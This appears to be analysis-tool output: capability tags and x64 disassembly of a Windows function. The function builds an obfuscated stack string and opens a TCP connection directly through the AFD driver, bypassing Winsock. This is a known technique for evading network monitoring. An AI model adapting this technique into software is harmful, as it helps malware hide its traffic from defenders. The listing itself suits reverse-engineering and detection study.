Function at 0x140001070
Capabilities:
Contain obfuscated stackstrings
Create tcp socket via raw afd driver

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140022008]
xor rax, rsp
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
mov dword [rbp - 0xc], 0x1e0f00
xorps xmm1, xmm1
mov dword [rbp - 8], 0x4f646641
xor r15d, r15d
mov dword [rbp - 4], 0x506e6570
mov rbx, 0xffffffffffffffff
mov dword [rbp - 0x10], r15d
mov r14, rcx
mov qword [rsp + 0x60], rbx
xor r8d, r8d
mov qword [rsp + 0x68], rbx
mov edx, 0x2000000
mov dword [rbp], 0x656b6361
lea r9d, [rbx + 2]
mov qword [rbp + 4], 0x585874
lea rcx, [rsp + 0x60]
mov dword [rbp + 0xc], r15d
movups xmmword [rbp - 0x20], xmm0
mov esi, r15d
mov dword [rbp + 0x10], 2
movups xmmword [rsp + 0x70], xmm1
mov dword [rbp + 0x14], 1
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp + 0x18], 6
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp + 0x20], r15d
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp + 0x24], 0x473def60
movups xmmword [rbp - 0x80], xmm1
mov byte [rbp + 0x28], 0xfe
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm1
call qword [0x140023ca8]
mov edi, eax
test eax, eax
jne 0x1400012ce
mov rcx, qword [rsp + 0x60]
lea r8, [rbp - 0x20]
xor r9d, r9d
mov dword [rsp + 0x20], pe_nt_image_headers64
mov edx, 0x1337
call qword [0x140023cb0]
mov edi, eax
test eax, eax
jne 0x1400012ce
lea rax, str.DeviceAfdEndpoint
mov qword [rsp + 0x78], rax
inc rbx
cmp word [rax + rbx*2], r15w
jne 0x140001186
mov dword [rsp + 0x50], 0x39
lea rax, [rsp + 0x70]
mov qword [rbp - 0x40], rax
lea r9, [rbp - 0x20]
lea rax, [rbp - 0x10]
mov dword [rbp - 0x50], 0x30
mov qword [rsp + 0x48], rax
lea r8, [rbp - 0x50]
mov dword [rsp + 0x40], r15d
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x38], 1
add bx, bx
mov dword [rsp + 0x30], 3
mov edx, 0x2000000
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov word [rsp + 0x70], bx
mov word [rsp + 0x72], bx
mov dword [rbp - 0x38], 0x40
call qword [0x140023cb8]
mov edi, eax
test eax, eax
jne 0x1400012ce
mov rax, qword [rsp + 0x60]
lea r9d, [rdi + 4]
mov edx, 0x2000
mov qword [rbp - 0x80], rax
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, 0x2000
lea r9d, [rdi + 4]
xor ecx, ecx
mov qword [rbp - 0x78], rax
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x70], rax
mov dword [rbp - 0x60], 1
mov dword [rbp - 0x58], 1
mov dword [rbp - 0x5c], 0x5f5e100
mov qword [rbp - 0x68], r14
cmp qword [rbp - 0x78], r15
je 0x1400012c6
test rax, rax
je 0x1400012c6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rsi, rax
test rax, rax
je 0x1400012c6
mov rcx, qword [rsp + 0x68]
lea rax, [rbp - 0x80]
mov dword [rsp + 0x48], r15d
xor r9d, r9d
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov dword [rsp + 0x38], 0x30
mov rdx, rsi
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x20]
mov dword [rsp + 0x28], 0x12127
mov qword [rsp + 0x20], rax
call qword [0x140023cc0]
mov edi, r15d
jmp 0x1400012ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, qword [rsp + 0x60]
cmp rcx, 0xffffffffffffffff
je 0x1400012df
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
cmp rcx, 0xffffffffffffffff
je 0x1400012f0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x1400012fe
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x140001315
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x14000132c
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140001cd0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret